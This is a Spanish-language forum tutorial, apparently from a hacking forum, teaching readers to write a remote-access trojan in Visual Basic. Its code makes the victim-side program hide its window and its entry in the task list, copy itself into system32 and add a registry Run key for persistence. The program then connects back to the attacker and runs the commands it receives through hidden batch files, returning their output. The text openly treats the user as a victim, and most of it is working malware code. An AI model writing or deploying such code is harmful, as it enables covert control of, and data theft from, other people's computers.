Sunteți pe pagina 1din 8

troyano en vb desde 0, MINICURSO Respuesta #4 en: 14 Febrero 2005, 09:32

Cita de: fulano_ en 14 Febrero 2005, 04:28 aver que tal me esplico y que tal os parece este minicurso de como hacer un troyano desde 0 en vb con conocimientos MINIMOS: un troyano consta fundamentalmente de 2 partes; el cliente y el servidor, entre ambos se establece una conexion para pasar datos de todo tipo, asi que lo primero que haremos es crear estos 2 programas y disear esa conexion, veamoslo: CLIENTE con el vb abierto y elijiendo un nuevo proyecto empezamos agregando en: PROYECTOCOMPONENTES y selecionamos microsoft winsock controls ahora se abra agregado un icono nuevo de 2 pcs ala derecha, pues le picamos y lo incluimos en el formulario. una buena idea es renombrarlo a WS para ahorrar tiempo al nombrarlo en el codigo. para configurar la conexion pondremos este codigo; aadimos un boton lo podemos llamar "escuchar" y en el evento click: Cdigo:

Private Sub escuchar_Click() On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo Ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox, AADELO Ws.Close 'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto Ws.Listen 'deja ala escucha el puerto introducido en el textbox If Ws.State = 2 Then Label1.Caption = "Escuchando" 'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas aadiendo un label(etiketa), esto es util para ver si de verdad esta escuchando o no, ya que si ese puerto ya estubiera abierto no te dejaria abrirlo para este programa, de ay tambien lo de ws.close antes... End Sub
con este codigo ya tenemos un puerto escuchando ala espera, pero esto no es todo, ya que por muy abierto que este, si no le decimos que hacer si alguien intenta conectarse a el, no servira de nada, veamoslo: aadimos este codigo al programa: Cdigo:

Private Sub ws_ConnectionRequest(ByVal requestID As Long) 'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo: On Error GoTo error 'si ay un error ves ala etiketa (error) Ws.Close 'necesario para aceptar la conexion Ws.Accept requestID 'acepta cualquier conexion entrante

Label3.Caption = Ws.RemoteHostIP 'aades otra etiketa y esto hara que te ponga la ip remota del servidor Shell "c:\ki.bat" 'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor Timer1.Interval = 3000 '3 segunditosss, sobra decir que tienes que aadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis error: End Sub
ahora ya se establece una conexion cuando el servidor intente conectar a el puerto elejido en el textbox! esto es el codigo del evento timer y asi entendereis que pinta ese temporizador Cdigo:

Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion On Error GoTo error If Not Ws.State = 7 Then 'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado" Label1.Caption = "Desconectado" Else End If If Ws.State = 7 Then Label1.Caption = "Conectado" Else End If If Label1.Caption = "Desconectado" Then 'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar" Label1.Caption = "Desconectado" GoTo puente Else End If GoTo error 'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida puente: Ws.Close Ws.Listen error: End Sub
ahora que ya tenemos lo basico de el cliente, nos falta como pide conectar el servidor, veamoslo: SERVIDOR que decir que esto significa volver a abrir otra vez el vb y volver a iniciar un proyecto nuevo y un form estandar...esto es otro programa! en el evento load del formulario:, que porcierto teneis que ir a las propiedades y ponerle la propiedad visible a FALSE, para que no de el cantazo: Cdigo:

Private Sub Form_Load() dim ip as string, ipftp as string, port as integer,Dim ejec As String 'declaramos estas variables , si las declarais en el general mejor Dim win Dim sys Dim residencia On Error Resume Next ip = "127.0.0.1" 'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas ipftp = "o 127.0.0.1" port = 6969 WS.RemoteHost = ip WS.RemotePort = port Timer1.Interval = 60000 'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1 ejec = App.path 'le pasamos a la variable la ruta del exe que ejecute la victima If Right(ejec, 1) <> "\" Then ejec = ejec & "\" 'si no tiene la "\" al final, se la aadiremos ejec = ejec & App.EXEName & ".exe" 'aadimos ala ruta del exe, el nombre y la estension Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object Set win = obj.GetSpecialFolder(0) 'para obtener la carpeta de windows y system Set sys = obj.GetSpecialFolder(1) win = LCase(win) 'las ponemos en minusculas sys = LCase(sys) FileCopy ejec, sys & "\nombre1" 'copia a windows\system32 Name sys & "\nombre1" As sys & "\nombre2.exe" 'renombra Set residencia = CreateObject("WScript.Shell") residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe" 'esto modifica el registro para que se ejecute al iniciar el pc App.TaskVisible = False 'para ocultarlo un poco del, (alt +sup +control) End Sub
ahora el evento timer1 que es lo que llamara a conectar con el cliente y establecera el canal de datos, ya falta poco... Cdigo:

Private Sub Timer1_Timer() 'cuando pasan 60 segundos On Error GoTo Error If Not WS.State = 7 Then Call cmdok_Click 'llama al evento click del boton cmdok si no ay conexion establecida If WS.State = 7 Then Label3.Caption = "conectado" Else Label3.Caption = "desconectado" ' ya esplicado Error: End Sub
boton cmdok: Cdigo:

Private Sub cmdok_Click() On Error GoTo Error If Not WS.State = 7 Then GoTo puente 'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port GoTo Error puente: WS.Close WS.Connect Error: End Sub
ya esta hasta aqui yo creo que lo he esplicado medianamente legible, ahora ya sabeis crear un canal de datos y un cliente y un servidor, pero faltan unos pequemos detalles mas: pasamos al cliente y creamos un boton y una caja de testo, en el evento click del boton ponemos: ws.senddata text2.text, y asi una vez conectado con el servidor, lo veras que pondra conectado donde hallas puesto la etiketa aquella, te acuerdas? entonces ya puedes pasarle datos al servidor, escribes el dato en la caja de testo y le das al boton que acabas de poner para tal efecto. Cheesy ahora vamos al servidor otra vez y en el evento LLEGADA DE DATOS del winsock ponemos: Cdigo:

Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos On Error GoTo Error dim datos as string ws.getdata datos 'metemos en la variable datos los datos que nos lleguen if datos = "paint" then shell ("mspaint") ' si los datos eran = a "paint" entonces ejecuta el paint end sub
con esto vemos que si en el cliente le enviamos la palabra paint poniendola en el textbox y dandole al boton que la envia, vemos que en el servidor se le ejecutara el paint, y con esto ya tienes un troyano muy sencillito, ahora a poco que investigues te lo puedes currar como yo, por hoy ya vale, yo uso ahora un sistema de envio de archivos y un sistema para ver sus archivos muy rudimentario pero funcional, lo esplicare en breve, para cojerle archivos o meterle archivos uso el serv-u(esplicado en la revista) y lo que hago es crearle un fichero de testo con los datos de la conexion ftp y del archivo cojer o meter... con imaginacion, haces lo que quieras, y mientras ahora mismo pregunto en el foro de programacion, que error cometo en el codigo que he pensado para enviar archivos completos por winsock... voy a preguntarlo, y maana esplico lo del serv-u y la consola de comandos en el troyano. saludos, espero que haya sido orientativo esto y util!! seguire esplicando en breve, o si alguien se anima a cojerme el hilo y aumentarlo y mejorarlo pues COJONUDO! asi aprendo yo tambien algo mas! xenon, alias fulano_ pd: para que sea mas legible el codigo copiarlo y pegarlo en un block de notas por ejemplo para que los comentarios de despues del signo ' aparezcan al lado del codigo todo seguido y no se vea en la siguiente linea como pasa en este post...

En ln
http://foro.elhacker.net/analisis_y_diseno_de_malware/troyano_en_vb_desde_cero_indice_ de_contenidos_en_la_primera_pagina_granmanual-t57545.0.html#ixzz1gYANo6DU

Bueno, se podria decir que esta es la segunda parte de este minicurso... Hoy veremos como programar una consola virtual y acoplarla al troyano, algo muy versatil y con la cual ya tendrias todo el poder suficiente para hacer lo que quieras en la victima. Empiezo con este codigo y lo comentamos: en el servidor ( archivo que es ejecutado en el pc victima ) : Cdigo:

Private Sub cmdfin_Click() 'aadimos un boton, yo lo he llamado cmdfin...y en su evento CLICK: ruta = "C:\" 'le ponemos ala variable ruta, la direccion donde se guardara un archivo que necesitamos, contra mas escondida sea la ruta mejor!! c:\ es un mal ejemplo...pero asi empece yo Open ruta & "fox.bat" For Output As #1 'abre un archivo llamado fox.bat en el canal 1...la opcion output sobreescribe el contenido completo del archivo, si pusieras append lo aadiria al final. esto es mucho royo pero asi se aprenden mas cosa, no? Print #1, datos & ">" & ruta & "fox.txt" 'aqui coje primero la variable datos y su contenido lo mete en ese archivo .bat, luego el caracter > es para que junto ala "RUTA" y al nombre "FOX.TXT" nos saque el resultado del comando en ese archivo de testo "fox.txt", se entiende perfectamente pero lo esplicare lo mejor que pueda, esto es un archivo .bat osea un archivo que se puede abrir con un block de notas y en el que poder insertar comandos de msdos y sera ejecutado como un .exe, sin compilar ni ostias. asi que la idea es poner el comando y la salida redireccionarla a un archivo de testo que

cojeremos y lo leeremos en nuestro cliente para ver el resultado de nuestros comandos Close #1 ' cierra el archivo Shell ruta & "fox.bat", vbHide lleva el comando escrito dentro. 'ejecuta el archivo que

Open ruta & "fox.txt" For Input As #1 ' aqui abre el archivo de testo para poder lmeter su contenido en una variable STRING ya que almacenara una cadena de caracteres. comando = Input(LOF(1), #1) 'mete el archivo de testo en esta variable, que es la salida del comando Close #1 ' cierra Call mostrar_Click luego End Sub
en el cliente con poner una caja de testo donde introducir los comandos y un boton de enviar ya estaria hecho.esto ya lo hicimos en el primer capitulo de este tutorial. Cdigo: Cdigo:

' esto llama a un boton que esplico

private sub boton_click text.text = datos winsock.senddata datos end sub


ahora el boton del servidor que estaba puesto alfinal del primer codigo que he puesto:

Cdigo:

Private Sub mostrar_Click() On Error GoTo Error 'si ocurre un error salta ala etiketa error Winsock.SendData comando 'simplemente envia la salida del comando intruducido al cliente! Error: End Sub
bien, ahora toca una parte peliaguda, un problema que he solventado chapuceramente, pero funciona, lo esplico, y cada vez lo ire esplicando menos concienzudamente por que dare por sentado que ya se tiene un cierto nivel y una cierta soltura:

Cdigo:

Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos On Error GoTo Error WS.GetData datos 'los datos entrantes se ponen en variable datos, recordar declararla como STRING, dim datos as string en el general por ejemplo. If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click

If bin1 = true And datos <> "a" Then Call bin_Click Error: End Sub
como interpreta el servidor los datos que le mandas de pendiendo de un comando especial "a": es mas sencillo de lo que parece: en un caso normal alo primero de hacerlo el codigo de arriba estaba sin esto: If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click y en su lugar simplemente llamaba al boton cmdfin_click, para ejecutar el comando en la victima y que nos devolviera la respuesta como he esplicado arriba. que pasa? pues que ala hora de poner esto por ejemplo como comando: echo msgbox "has sido hackeado">c:\hack.vbs en verdad estabas poniendo esto otro! echo msgbox "has sido hackeado">c:\hack.vbs>c:\fox.txt con lo cual no me creaba el archivo hack.vbs y no funcionaba el comando como yo queria, por que a todo comando se le aade >c:\fox.txt para que ponga la salida del comando en un archivo de testo para que te envie el resultado de un "dir c:\" por ejemplo. que hice? pues puse en estas lineas If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click que si el comando que envia es solo una simple "a", una variable que uso a modo de interruptor "bin1" se pone a true que ejecute el boton bin_click , y mientras los datos no sean una "a" el comando especial que eleji ,bin1 tienes que declararla como BOOLEAN!! y el boton bin_click esta asi: Cdigo:

Private Sub bin_Click() ruta = "C:\" Open ruta & "fox.bat" For Output As #1 Print #1, datos Close #1 Shell ruta & "fox.bat", vbHide bin1 = false ' reestablece el interruptor virtual a apagado, false End Sub
parecido al cmdfin_click pero sin que te ponga el ">c:\fox.txt" al final, asi ejecuta el comando LIMPIO y tal y como tu lo mandas ejecutar, con la unica condicion de que no podras ver el resultado de ese comando, no tellegara la respuesta, no sabras si se ejecuto o no, pero eso tampoco es mucho problema. asi ahora podemos interpretar este codigo tan extrao: Cdigo:

If datos = "a" Then bin1 = true If bin1 = false And datos <> "a" Then Call cmdfin_Click If bin1 = true And datos <> "a" Then Call bin_Click

si datos = a entonces la variable bin1 es = true ' hemos mandado el comando a y ahora es como si hubieramos activado un interruptor y cambia la forma de ver al siguiente comando: si el interruptor no esta activado y los datos no son una (a) entonces ejecuta el comando con la salida de regreso al cliente si el interruptor esta activado y los datos son cualquiercosa menos una (a) entonces ejecuta el comando LIMPIO tal y como lo escribes,pero sin respuesta al cliente al ejecutar el comando limpio el interruptor se vuelve a poner a bin1 = false osea desactivado, asi en cada comando que quieras poner limpio as de mandar una -a- antes! lo esplico demasiado para torpes pero! ami me hubiera gustado que me esplicasen asi muchas cosas que puedo ver raras! sorry para los demas que les parece que estoy perdiendo el tiempo haciendo esto! ya esta lista la funcion de consola, ( chapucera pero funcional ) aclaraciones!!!! en el cliente as de poner tambien una caja de testo para ver el resultado con la propiedad de MULTIINEA! que os pasara como ami! lo pones en multilinea en las propiedes de la derecha, selecionas el text y cambias esa propiedad a true aparte de la caja de testo en el formulario as de poner este codigo para ver en esa caja la respuesta:

Cdigo:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'llegan datos On Error GoTo error Winsock1.GetData datos 'datos en datos Text2.Text = datos '<---------------------esto de aqui es para verlo!! error: End Sub
a disfrutarlo con salud! hoy mismo o maana publico la tercera parte, como enviar y cojer archivos de la victima, esplicare 2 metodos el que usaba yo hasta ahora y el profesional muy poco. que he aprendido hace

dudas comentarios o lo que sea podeis ir poniendolos...si se me olvida algo lo aadire por la tarde que me voy a currar! un saludo!, Xenon alias fulano_ http://foro.elhacker.net/analisis_y_diseno_de_malware/troyano_en_vb_desde_cero_indice_ de_contenidos_en_la_primera_pagina_granmanual-t57545.0.html#ixzz1gY9kgBwv

S-ar putea să vă placă și